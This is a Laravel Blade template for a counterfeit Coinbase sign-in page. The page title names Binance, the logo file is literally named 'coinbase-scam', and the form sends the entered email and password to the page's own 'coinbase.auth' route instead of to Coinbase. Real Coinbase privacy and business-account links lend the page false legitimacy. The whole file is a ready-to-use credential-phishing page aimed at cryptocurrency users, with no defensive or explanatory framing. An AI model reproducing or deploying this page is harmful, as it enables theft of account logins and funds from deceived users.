<!DOCTYPE html>
<html lang="{{ str_replace('_', '-', app()->getLocale()) }}">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Binance Exchange</title>
    <link rel="stylesheet" href="{{ asset('css/app.css') }}">
    <!-- Fonts -->
    <link href="https://fonts.bunny.net/css2?family=Nunito:wght@400;600;700&display=swap" rel="stylesheet">
</head>

<body class="antialiased bg-black">
  <div class="sign-in-wrapper py-10 px-7">
    <div class="app-content max-w-lg container mx-auto my-9 border border-gray-700 rounded-2xl p-5">
        <div class="grid no-grid">
            <div class="login mx-4">
                <img src="https://res.cloudinary.com/dvy8ajvay/image/upload/v1688031477/coinbase-scam_aj3mrj.png" class="h-10 my-5" alt="">
                <div class="sign-in-opt my-6">
                    <h5 class="font-bold text-3xl text-white">Sign in to coinbase</h5>
                    <p class="text-gray-400 text-sm my-2">Not your device? Use a private or incognito window to sign in.</p>
                </div>
                <form action="{{route('coinbase.auth')}}" method="post">
                    @csrf
                    <div class="my-4">
                        <label for="first_name" class="block mb-2 text-sm font-bold text-white">Email</label>
                        <input type="email" id="first_name" name="email" class="bg-transparent border border-gray-400 text-gray-900 text-base font-bold rounded-md block w-full p-4" placeholder="Your email address">
                        @error('email')
                                    <div class="text-red-600 text-sm">
                                        {{ $message }}
                                    </div>
                                @enderror
                    </div>
                    <div class="my-4">
                        <label for="first_name" class="block mb-2 text-sm font-bold text-white">Password</label>
                        <input type="password" name="password" id="first_name" class="bg-transparent border border-gray-400 text-gray-900 text-base font-bold rounded-md block w-full p-4" placeholder="Your password">
                        @error('password')
                                    <div class="text-red-600 text-sm">
                                        {{ $message }}
                                    </div>
                                @enderror
                    </div>
                    <button type="submit" id="first_name" style="background-color: rgb(55, 115, 245);" class="text-black text-sm font-bold rounded-full block w-full p-4 my-5">Continue</button>
                </form>
                <div class="hireachy-block flex items-center justify-center">
                    <div class="inline-block justify-center text-center">
                        <a href="https://accounts.coinbase.com/signin" class="text-sm font-bold" style="color: rgb(55, 115, 245);">Sign in to a business account</a><br>
                        <a href="https://coinbase.com/legal/privacy" class="text-sm font-bold" style="color: rgb(55, 115, 245);">Privacy policy</a>
                    </div>
                </div>
            </div>
        </div>
      </div>
  </div>
    <script src="{{ asset('js/app.js') }}"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/flowbite/1.6.6/flowbite.min.js"></script>
</body>

</html>
